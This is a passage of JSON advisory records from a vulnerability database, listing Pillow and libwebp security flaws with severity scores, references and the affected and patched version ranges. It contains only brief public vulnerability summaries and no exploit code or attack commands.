10.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2024-28219","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2024-28219"},{"uuid":"DEBIAN-CVE-2024-28219","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2024-28219"},{"uuid":"UBUNTU-CVE-2024-28219","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-6744-1"},{"uuid":"USN-6744-3","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-6744-3"},{"uuid":"CVE-2024-28219","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28219.json"}]},{"uuid":"GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV","url":"https://github.com/advisories/GHSA-3f63-hfp8-52jq","title":"Arbitrary Code Execution in Pillow","description":"Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-01-19T21:30:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-50447","https://github.com/python-pillow/Pillow/commit/45c726fd4daa63236a8f3653530f297dc87b160a","https://pillow.readthedocs.io/en/stable/releasenotes/10.2.0.html#security","http://www.openwall.com/lists/oss-security/2024/01/20/1","https://github.com/python-pillow/Pillow/releases","https://lists.debian.org/debian-lts-announce/2024/01/msg00019.html","https://devhub.checkmarx.com/cve-details/CVE-2023-50447","https://duartecsantos.github.io/2023-01-02-CVE-2023-50447","https://duartecsantos.github.io/2024-01-02-CVE-2023-50447","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-457.yaml","https://pypi.org/project/pillow","https://github.com/advisories/GHSA-3f63-hfp8-52jq"],"source_kind":"github","identifiers":["GHSA-3f63-hfp8-52jq","CVE-2023-50447"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2024-01-22T22:06:18.025Z","updated_at":"2026-12-04T22:11:51.597Z","epss_percentage":0.01703,"epss_percentile":0.77933,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"10.2.0","vulnerable_version_range":"\u003c 10.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjYzLWhmcDgtNTJqcc4AA4lV/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2023-50447","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2023-50447"},{"uuid":"ALPINE-CVE-2023-50447","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2023-50447"},{"uuid":"UBUNTU-CVE-2023-50447","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-6618-1"},{"uuid":"CVE-2023-50447","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/50xxx/CVE-2023-50447.json"}]},{"uuid":"GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250","url":"https://github.com/advisories/GHSA-8ghj-p4vj-mr35","title":"Pillow Denial of Service vulnerability","description":"An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-03T06:36:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-44271","https://github.com/python-pillow/Pillow/pull/7244","https://github.com/python-pillow/Pillow/commit/1fe1bb49c452b0318cad12ea9d97c3bef188e9a7","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2023-227.yaml","https://devhub.checkmarx.com/cve-details/CVE-2023-44271","https://lists.debian.org/debian-lts-announce/2024/03/msg00021.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/N2JOEDUJDQLCUII2LQYZYSM7RJL2I3P4","https://github.com/advisories/GHSA-8ghj-p4vj-mr35"],"source_kind":"github","identifiers":["GHSA-8ghj-p4vj-mr35","CVE-2023-44271"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2023-11-03T20:05:50.749Z","updated_at":"2026-12-02T11:11:45.780Z","epss_percentage":0.0136,"epss_percentile":0.7252,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"10.0.0","vulnerable_version_range":"\u003e= 0, \u003c 10.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Z2hqLXA0dmotbXIzNc4AA250/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2023-44271","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2023-44271"},{"uuid":"PYSEC-2023-227","source_kind":"osv","url":"https://github.com/advisories/GHSA-8ghj-p4vj-mr35"},{"uuid":"CVE-2023-44271","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/44xxx/CVE-2023-44271.json"}]},{"uuid":"GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC","url":"https://github.com/advisories/GHSA-56pw-mpj4-fxww","title":"Duplicate Advisory: Bundled libwebp in Pillow vulnerable","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-56pw-mpj4-fxww. This link is maintained to preserve external references.\n\n## Original Description\nPillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-05T00:06:58.000Z","withdrawn_at":"2025-05-30T15:32:54.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2023-4863","https://nvd.nist.gov/vuln/detail/CVE-2023-5129","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2023-175.yaml","https://github.com/python-pillow/Pillow/blob/main/CHANGES.rst#1001-2023-09-15","https://github.com/advisories/GHSA-56pw-mpj4-fxww"],"source_kind":"github","identifiers":["GHSA-56pw-mpj4-fxww"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":0.0,"created_at":"2023-10-05T01:05:51.504Z","updated_at":"2026-10-18T11:26:02.739Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"10.0.1","vulnerable_version_range":"\u003c 10.0.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NnB3LW1wajQtZnh3d84AA2QC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qN2hwLWg4angtNXBwcs4AA10j","url":"https://github.com/advisories/GHSA-j7hp-h8jx-5ppr","title":"libwebp: OOB write in BuildHuffmanTable","description":"Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-09-12T15:30:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-4863","https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html","https://crbug.com/1479274","https://github.com/qnighy/libwebp-sys2-rs/pull/21","https://github.com/qnighy/libwebp-sys2-rs/commit/4560c473a76ec8bd8c650f19ddf9d7a44f719f8b","https://github.com/webmproject/libwebp/commit/902bc9190331343b2017211debcec8d2ab87e17a","https://bugzilla.suse.com/show_bug.cgi?id=1215231","https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-4863","https://news.ycombinator.com/item?id=37478403","https://rustsec.org/advisories/RUSTSEC-2023-0060.html","https://security-tracker.debian.org/tracker/CVE-2023-4863","https://github.com/electron/electron/pull/39823","https://github.com/electron/electron/pull/39825","https://github.com/electron/electron/pull/39826","https://github.com/electron/electron/pull/39827","https://github.com/electron/electron/pull/39828","https://github.com/webmproject/libwebp/releases/tag/v1.3.2","https://lists.debian.org/debian-lts-announce/2023/09/msg00015.html","https://lists.debian.org/debian-lts-announce/2023/09/msg00016.html","https://lists.debian.org/debian-lts-announce/2023/09/msg00017.html","https://rustsec.org/advisories/RUSTSEC-2023-0061.html","https://security.gentoo.org/glsa/202309-05","https://www.debian.org/security/2023/dsa-5496","https://www.debian.org/security/2023/dsa-5497","https://www.debian.org/security/2023/dsa-5498","http://www.openwall.com/lists/oss-security/2023/09/21/4","http://www.openwall.com/lists/oss-security/2023/09/22/1","http://www.openwall.com/lists/oss-security/2023/09/22/3","http://www.openwall.com/lists/oss-security/2023/09/22/4","http://www.openwall.com/lists/oss-security/2023/09/22/5","http://www.openwall.com/lists/oss-security/2023/09/22/6","http://www.openwall.com/lists/oss-security/2023/09/22/7","http://www.openwall.com/lists/oss-security/2023/09/22/8","http://www.openwall.com/lists/oss-security/2023/09/26/1","http://www.openwall.com/lists/oss-security/2023/09/26/7","http://www.openwall.com/lists/oss-security/2023/09/28/1","http://www.openwall.com/lists/oss-security/2023/09/28/2","http://www.openwall.com/lists/oss-security/2023/09/28/4","https://github.com/jaredforth/webp/pull/30","https://github.com/python-pillow/Pillow/pull/7395","https://github.com/jaredforth/webp/commit/9d4c56e63abecc777df71c702503c3eaabd7dcbc","https://pillow.readthedocs.io/en/stable/releasenotes/10.0.1.html#security","https://github.com/ImageMagick/ImageMagick/discussions/6664","https://github.com/dlemstra/Magick.NET/releases/tag/13.3.0","https://security.gentoo.org/glsa/202401-10","https://sethmlarson.dev/security-developer-in-residence-weekly-report-16","https://security.netapp.com/advisory/ntap-20230929-0011","https://stackdiary.com/critical-vulnerability-in-webp-codec-cve-2023-4863","https://www.bentley.com/advisories/be-2023-0001","https://www.bleepingcomputer.com/news/google/google-fixes-another-chrome-zero-day-bug-exploited-in-attacks","https://www.mozilla.org/en-US/security/advisories/mfsa2023-40","https://www.vicarius.io/vsociety/posts/zero-day-webp-vulnerability-cve-2023-4863","https://adamcaudill.com/2023/09/14/whose-cve-is-it-anyway","https://blog.isosceles.com/the-webp-0day","https://en.bandisoft.com/honeyview/history","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6T655QF7CQ3DYAMPFV7IECQYGDEUIVVT","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FYYKLG6CRGEDTNRBSU26EEWAO6D6U645","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KUQ7CTX3W372X3UY56VVNAHCH6H2F4X3","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OZDGWWMJREPAGKWCJKSCM4WYLANSKIFX","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PYZV7TMKF4QHZ54SFJX54BDN52VHGGCX","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WHOLML7N2G5KCAZXFWC5IDFFHSQS5SDB","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WTRUIS3564P7ZLM2S2IH4Y4KZ327LI4I","https://github.com/advisories/GHSA-j7hp-h8jx-5ppr"],"source_kind":"github","identifiers":["GHSA-j7hp-h8jx-5ppr","CVE-2023-4863"],"repository_url":"https://github.com/qnighy/libwebp-sys2-rs","blast_radius":0.0,"created_at":"2023-09-14T17:06:05.242Z","updated_at":"2026-12-04T22:13:22.625Z","epss_percentage":0.99979,"epss_percentile":0.99978,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qN2hwLWg4angtNXBwcs4AA10j","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qN2hwLWg4angtNXBwcs4AA10j","affected_repository_urls":["https://github.com/webmproject/libwebp"],"packages":[{"ecosystem":"go","package_name":"github.com/chai2010/webp","versions":[{"first_patched_version":"1.1.2-0.20250406010349-76805d5a8860","vulnerable_version_range":"\u003e= 0.0.0, \u003c 1.1.2-0.20250406010349-76805d5a8860"},{"first_patched_version":"1.4.0","vulnerable_version_range":"\u003e= 1.1.2, \u003c 1.4.0"},{"first_patched_version":"0.0.0-20250406010349-76805d5a8860","vulnerable_version_range":"\u003c 0.0.0-20250406010349-76805d5a8860"}],"purl":"pkg:go/github.com%2Fchai2010%2Fwebp"},{"ecosystem":"nuget","package_name":"magick.net-q8-x64","versions":[{"first_patched_version":"13.3.0","vulnerable_version_range":"\u003c 13.3.0"}],"purl":"pkg:nuget/magick.net-q8-x64"},{"ecosystem":"nuget","package_name":"magick.net-q8-openmp-x64","versions":[{"first_patched_version":"13.3.0","vulnerable_version_range":"\u003c 13.3.0"}],"purl":"pkg:nuget/magick.net-q8-openmp-x64"},{"ecosystem":"nuget","package_name":"magick.net-q8-anycpu","versions":[{"first_patched_version":"13.3.0","vulnerable_version_range":"\u003c 13.3.0"}],"purl":"pkg:nuget/magick.net-q8-anycpu"},{"ecosystem":"nuget","package_name":"magick.net-q16-x64","versions":[{"first_patched_version":"13.3.0","vulnerable_version_range":"\u003c 13.3.0"}],"purl":"pkg:nuget/magick.net-q16-x64"},{"ecosystem":"nuget","package_name":"magick.net-q16-hdri-anycpu","versions":[{"first_patched_version":"13.3.0","vulnerable_version_range":"\u003c 13.3.0"}],"purl":"pkg:nuget/magick.net-q16-hdri-anycpu"},{"ecosystem":"nuget","package_name":"magick.net-q16-anycpu","versions":[{"first_patched_version":"13.3.0","vulnerable_version_range":"\u003c 13.3.0"}],"purl":"pkg:nuget/magick.net-q16-anycpu"},{"ecosystem":"cargo","package_name":"webp","versions":[{"first_patched_version":"0.2.6","vulnerable_version_range":"\u003c 0.2.6"}],"purl":"pkg:cargo/webp"},{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"10.0.1","vulnerable_version_range":"\u003c 10.0.1"}],"purl":"pkg:pypi/pillow"},{"ecosystem":"nuget","package_name":"SkiaSharp","versions":[{"first_patched_version":"2.88.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.88.6"}],"purl":"pkg:nuget/SkiaSharp"},{"ecosystem":"npm","package_name":"electron","versions":[{"first_patched_version":"27.0.0-beta.2","vulnerable_version_range":"\u003e= 27.0.0-beta.1, \u003c 27.0.0-beta.2"},{"first_patched_version":"26.2.1","vulnerable_version_range":"\u003e= 26.0.0, \u003c 26.2.1"},{"first_patched_version":"25.8.1","vulnerable_version_range":"\u003e= 25.0.0, \u003c 25.8.1"},{"first_patched_version":"24.8.3","vulnerable_version_range":"\u003e= 24.0.0, \u003c 24.8.3"},{"first_patched_version":"22.3.24","vulnerable_version_range":"\u003e= 22.0.0, \u003c 22.3.24"}],"purl":"pkg:npm/electron"},{"ecosystem":"cargo","package_name":"libwebp-sys","versions":[{"first_patched_version":"0.9.3","vulnerable_version_range":"\u003c 0.9.3"}],"purl":"pkg:cargo/libwebp-sys"},{"ecosystem":"cargo","package_name":"libwebp-sys2","versions":[{"first_patched_version":"0.1.8","vulnerable_version_range":"\u003c 0.1.8"}],"purl":"pkg:cargo/libwebp-sys2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qN2hwLWg4angtNXBwcs4AA10j/related_packages","related_advisories":[{"uuid":"CVE-2023-4863","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/4xxx/CVE-2023-4863.json"},{"uuid":"DEBIAN-CVE-2023-4863","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2023-4863"},{"uuid":"ALPINE-CVE-2023-4863","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2023-4863"},{"uuid":"JLSEC-2026-441","source_kind":"osv","url":"https://osv.dev/vulnerability/JLSEC-2026-441"}]},{"uuid":"GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m","url":"https://github.com/advisories/GHSA-q4mp-jvh2-76fj","title":"Pillow subject to DoS via SAMPLESPERPIXEL tag","description":"Pillow starting with 9.2.0 and prior to 9.3.0 allows denial of service via SAMPLESPERPIXEL. A large value in the SAMPLESPERPIXEL tag could lead to a memory and runtime DOS in TiffImagePlugin.py when setting up the context for image decoding. This issue has been patched in version 9.3.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-11-14T12:00:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-45199","https://github.com/python-pillow/Pillow/pull/6700","https://github.com/python-pillow/Pillow/commit/2444cddab2f83f28687c7c20871574acbb6dbcf3","https://bugs.gentoo.org/878769","https://github.com/python-pillow/Pillow/releases/tag/9.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-42980.yaml","https://security.gentoo.org/glsa/202211-10","https://github.com/advisories/GHSA-q4mp-jvh2-76fj"],"source_kind":"github","identifiers":["GHSA-q4mp-jvh2-76fj","CVE-2022-45199"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:49.146Z","updated_at":"2026-12-02T11:11:45.797Z","epss_percentage":0.01512,"epss_percentile":0.75216,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"9.3.0","vulnerable_version_range":"\u003e= 9.2.0, \u003c 9.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNG1wLWp2aDItNzZmas4AAv2m/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2022-45199","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-45199"},{"uuid":"CVE-2022-45199","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/45xxx/CVE-2022-45199.json"},{"uuid":"PYSEC-2022-42980","source_kind":"osv","url":"https://github.com/advisories/GHSA-q4mp-jvh2-76fj"}]},{"uuid":"GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p","url":"https://github.com/advisories/GHSA-m2vv-5vj5-2hm7","title":"Pillow vulnerable to Data Amplification attack.","description":"Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-11-14T12:00:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-45198","https://github.com/python-pillow/Pillow/pull/6402","https://bugs.gentoo.org/855683","https://cwe.mitre.org/data/definitions/409.html","https://github.com/python-pillow/Pillow/releases/tag/9.2.0","https://github.com/python-pillow/Pillow/pull/6402/commits/c9f1b35e981075110a23487a8d4a6cbb59a588ea","https://github.com/python-pillow/Pillow/commit/11918eac0628ec8ac0812670d9838361ead2d6a4","https://security.gentoo.org/glsa/202211-10","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-42979.yaml","https://github.com/advisories/GHSA-m2vv-5vj5-2hm7"],"source_kind":"github","identifiers":["GHSA-m2vv-5vj5-2hm7","CVE-2022-45198"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:49.154Z","updated_at":"2026-12-04T22:13:41.482Z","epss_percentage":0.01639,"epss_percentile":0.77071,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"9.2.0","vulnerable_version_range":"\u003c 9.2.0"}],"purl":"pkg:pypi/pillow","statistics":{"dependent_packages_count":4378,"dependent_repos_count":88899,"downloads":723938249,"downloads_period":"last-month"},"affected_versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1"],"unaffected_versions":["9.2.0","9.3.0","9.4.0","9.5.0","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","13.0.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMnZ2LTV2ajUtMmhtN84AAv2p/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2022-45198","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-45198"},{"uuid":"PYSEC-2022-42979","source_kind":"osv","url":"https://github.com/advisories/GHSA-m2vv-5vj5-2hm7"},{"uuid":"CVE-2022-45198","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/45xxx/CVE-2022-45198.json"}]},{"uuid":"GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6","url":"https://github.com/advisories/GHSA-hr8g-f6r6-mr22","title":"Buffer over-flow in Pillow","description":"When reading a TGA file with RLE packets that cross scan lines, Pillow reads the information past the end of the first line without deducting that from the length of the remaining file data. This vulnerability was introduced in Pillow 9.1.0, and can cause a heap buffer overflow.\n\nOpening an image with a zero or negative height has been found to bypass a decompression bomb check. This will now raise a SyntaxError instead, in turn raising a PIL.UnidentifiedImageError.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-26T00:01:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-30595","https://github.com/python-pillow/Pillow/blob/main/src/libImaging/TgaRleDecode.c","https://pillow.readthedocs.io/en/stable/releasenotes/9.1.1.html","https://github.com/python-pillow/Pillow/commit/c846cc881ebe34e3518412c2e3636433d9947280","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-43145.yaml","https://github.com/advisories/GHSA-hr8g-f6r6-mr22"],"source_kind":"github","identifiers":["GHSA-hr8g-f6r6-mr22","CVE-2022-30595"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:12:21.851Z","updated_at":"2026-12-04T22:10:57.072Z","epss_percentage":0.02347,"epss_percentile":0.84132,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.1.1","vulnerable_version_range":"= 9.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjhnLWY2cjYtbXIyMs4AArN6/related_packages","related_advisories":[{"uuid":"CVE-2022-30595","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/30xxx/CVE-2022-30595.json"},{"uuid":"ALPINE-CVE-2022-30595","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2022-30595"},{"uuid":"DEBIAN-CVE-2022-30595","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-30595"}]},{"uuid":"GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe","url":"https://github.com/advisories/GHSA-r7rm-8j6h-r933","title":"Buffer Copy without Checking Size of Input in Pillow","description":"`libImaging/SgiRleDecode.c` in Pillow before 6.2.2 has an SGI buffer overflow.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-05-24T17:05:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5311","https://github.com/python-pillow/Pillow/commit/a79b65c47c7dc6fe623aadf09aa6192fc54548f3","https://access.redhat.com/errata/RHSA-2020:0566","https://access.redhat.com/errata/RHSA-2020:0580","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://www.debian.org/security/2020/dsa-4631","https://github.com/advisories/GHSA-r7rm-8j6h-r933","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-82.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-r7rm-8j6h-r933","CVE-2020-5311"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:17.395Z","updated_at":"2026-11-27T10:14:33.531Z","epss_percentage":0.03685,"epss_percentile":0.90456,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003c= 